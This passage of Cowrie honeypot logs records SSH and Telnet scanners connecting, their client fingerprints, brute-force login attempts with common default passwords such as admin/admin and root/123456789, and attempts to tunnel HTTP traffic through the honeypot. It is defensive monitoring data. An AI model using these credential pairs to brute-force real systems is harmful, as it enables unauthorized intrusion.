ert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.287960Z","src_ip":"45.148.10.121","session":"f5a4c87effc2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.552109Z","src_ip":"45.148.10.121","session":"f5a4c87effc2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.643537Z","session":"f5a4c87effc2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.733957Z","src_ip":"45.148.10.121","session":"f5a4c87effc2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.737203Z","src_ip":"45.148.10.121","session":"f5a4c87effc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.833829Z","src_ip":"45.148.10.121","session":"f5a4c87effc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":41284,"dst_ip":"10.17.0.5","dst_port":22,"session":"95e0c618fede","protocol":"ssh","message":"New connection: 45.148.10.121:41284 (10.17.0.5:22) [session: 95e0c618fede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.911116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.916198Z","src_ip":"45.148.10.121","session":"95e0c618fede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:49.001739Z","src_ip":"45.148.10.121","session":"95e0c618fede","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:49.261183Z","src_ip":"45.148.10.121","session":"95e0c618fede","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:49.349189Z","session":"95e0c618fede","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:49.437263Z","src_ip":"45.148.10.121","session":"95e0c618fede","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:49.439636Z","src_ip":"45.148.10.121","session":"95e0c618fede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56760,"dst_ip":"10.17.0.5","dst_port":22,"session":"54621b5dde52","protocol":"ssh","message":"New connection: 8.210.75.243:56760 (10.17.0.5:22) [session: 54621b5dde52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:49.487747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:49.491273Z","src_ip":"8.210.75.243","session":"54621b5dde52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:49.529845Z","src_ip":"45.148.10.121","session":"95e0c618fede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40624,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a79f4e23932","protocol":"ssh","message":"New connection: 8.210.75.243:40624 (10.17.0.5:22) [session: 9a79f4e23932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:00.345519Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":40968,"dst_ip":"159.203.135.109","dst_port":22,"session":"dde5cc607f89","protocol":"ssh","message":"New connection: 154.16.115.34:40968 (159.203.135.109:22) [session: dde5cc607f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:23.361729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:23.365529Z","src_ip":"154.16.115.34","session":"dde5cc607f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:23.390533Z","src_ip":"154.16.115.34","session":"dde5cc607f89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rndr123","password":"rndr123","message":"login attempt [rndr123/rndr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:23.467975Z","src_ip":"154.16.115.34","session":"dde5cc607f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:24.495110Z","src_ip":"154.16.115.34","session":"dde5cc607f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52724,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8f1adf75264","protocol":"ssh","message":"New connection: 8.210.75.243:52724 (10.17.0.5:22) [session: e8f1adf75264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:26.324569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:26.328269Z","src_ip":"8.210.75.243","session":"e8f1adf75264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":49246,"dst_ip":"159.203.135.109","dst_port":22,"session":"e39a11b5df1c","protocol":"ssh","message":"New connection: 190.244.39.224:49246 (159.203.135.109:22) [session: e39a11b5df1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:26.869638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:26.873528Z","src_ip":"190.244.39.224","session":"e39a11b5df1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:27.051546Z","src_ip":"190.244.39.224","session":"e39a11b5df1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:27.138387Z","src_ip":"8.210.75.243","session":"e8f1adf75264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:27.765099Z","src_ip":"190.244.39.224","session":"e39a11b5df1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:28.934002Z","src_ip":"190.244.39.224","session":"e39a11b5df1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43552,"dst_ip":"159.203.135.109","dst_port":23,"session":"a97fdd9ff394","protocol":"telnet","message":"New connection: 170.64.224.25:43552 (159.203.135.109:23) [session: a97fdd9ff394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:32.213160Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":54752,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf93277477e4","protocol":"ssh","message":"New connection: 80.66.85.226:54752 (10.17.0.5:22) [session: bf93277477e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:32.805661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:32.809120Z","src_ip":"80.66.85.226","session":"bf93277477e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:32.897606Z","src_ip":"80.66.85.226","session":"bf93277477e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666fafnir","message":"login attempt [root/666fafnir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:33.163751Z","src_ip":"80.66.85.226","session":"bf93277477e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:34.257468Z","src_ip":"80.66.85.226","session":"bf93277477e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36584,"dst_ip":"10.17.0.5","dst_port":22,"session":"715bd2cfc2ec","protocol":"ssh","message":"New connection: 8.210.75.243:36584 (10.17.0.5:22) [session: 715bd2cfc2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:34.961305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:34.964914Z","src_ip":"8.210.75.243","session":"715bd2cfc2ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:35.755713Z","src_ip":"8.210.75.243","session":"b03bcc9c7f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":46054,"dst_ip":"10.17.0.5","dst_port":22,"session":"213734a68c11","protocol":"ssh","message":"New connection: 163.7.1.218:46054 (10.17.0.5:22) [session: 213734a68c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:43.796112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:43.829211Z","src_ip":"163.7.1.218","session":"213734a68c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:44.083608Z","src_ip":"163.7.1.218","session":"213734a68c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZXC123456","message":"login attempt [root/ZXC123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:45.125280Z","src_ip":"163.7.1.218","session":"213734a68c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.220.238.21","src_port":33755,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6d22deffdfc","protocol":"ssh","message":"New connection: 114.220.238.21:33755 (10.17.0.5:22) [session: e6d22deffdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:45.165838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:45.169541Z","src_ip":"114.220.238.21","session":"e6d22deffdfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-s